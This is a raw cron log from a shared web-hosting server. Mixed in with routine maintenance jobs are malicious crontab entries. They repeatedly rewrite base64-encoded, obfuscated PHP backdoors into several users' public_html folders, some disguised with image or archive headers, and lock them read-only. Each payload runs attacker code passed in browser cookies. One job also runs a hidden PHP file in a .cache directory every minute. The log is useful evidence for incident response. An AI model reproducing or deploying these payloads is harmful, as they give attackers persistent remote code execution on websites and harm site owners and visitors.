Mar  1 06:43:01 medusa CROND[7830]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 06:43:01 medusa CROND[7831]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:43:01 medusa CROND[7833]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:43:01 medusa CROND[7835]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:43:01 medusa CROND[7846]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:44:01 medusa CROND[13443]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:44:01 medusa CROND[13528]: (root) CMD (/usr/bin/flock -n /var/run/xray_sa_plugin.cronlock /usr/sbin/cl-smart-advice wordpress-plugin-install &> /dev/null)
Mar  1 06:44:01 medusa CROND[13582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:44:01 medusa CROND[13583]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:44:01 medusa CROND[13587]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:44:01 medusa CROND[13586]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:44:01 medusa CROND[13588]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:44:01 medusa CROND[13589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:44:01 medusa CROND[13594]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:44:01 medusa CROND[13590]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:44:01 medusa CROND[13596]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:44:01 medusa CROND[13601]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:44:01 medusa CROND[13604]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:44:01 medusa CROND[13607]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:45:01 medusa CROND[20283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:45:01 medusa CROND[20315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:45:02 medusa CROND[20446]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:45:02 medusa CROND[20463]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:45:02 medusa CROND[20464]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:45:02 medusa CROND[20465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:45:02 medusa CROND[20466]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:45:02 medusa CROND[20470]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:45:02 medusa CROND[20472]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 06:45:02 medusa CROND[20473]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:45:02 medusa CROND[20475]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:45:02 medusa CROND[20484]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:45:02 medusa CROND[20495]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:45:02 medusa CROND[20496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:45:02 medusa CROND[20478]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:45:02 medusa CROND[20497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:45:02 medusa CROND[20501]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:45:02 medusa CROND[20503]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
